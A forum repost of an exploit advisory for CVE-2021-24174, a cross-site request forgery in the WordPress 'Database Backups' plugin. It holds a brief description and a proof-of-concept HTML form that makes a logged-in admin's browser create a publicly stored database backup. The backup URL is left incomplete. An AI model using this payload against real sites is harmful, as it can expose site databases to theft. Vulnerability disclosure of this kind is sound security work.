Jump to content

WordPress Plugin Database Backups - 'Database Backup Download' CSRF

This CHT

Recommended Posts

  • Group:  The leader of the
  • Content Count:  4,798
  • Achievement Points:  31,700
  • With Us For:  236 Days
  • Status:  Offline
  • Last Seen:  
  • Device:  Windows

# Exploit Title: WordPress Plugin Database Backups - 'Database Backup Download' CSRF
# Date: 2/10/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/database-backups/
# Version:
# Tested on: Windows 10
# CVE: CVE-2021-24174

1. Description:
This plugin allows admins to create and download database backups. A CSRF can create DB backups stored publicly in the uploads directory.

2. Proof of Concept:

<form action="http://localhost/wp-admin/tools.php?page=database-backups" method="post">
    <input type="hidden" name="do_backup_manually" value="1">
    <input type="submit" class="button button-primary" value="Do backup" autocomplete="off">            

Backups can be accessed by the following URL.
Link to comment
Share on other sites

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...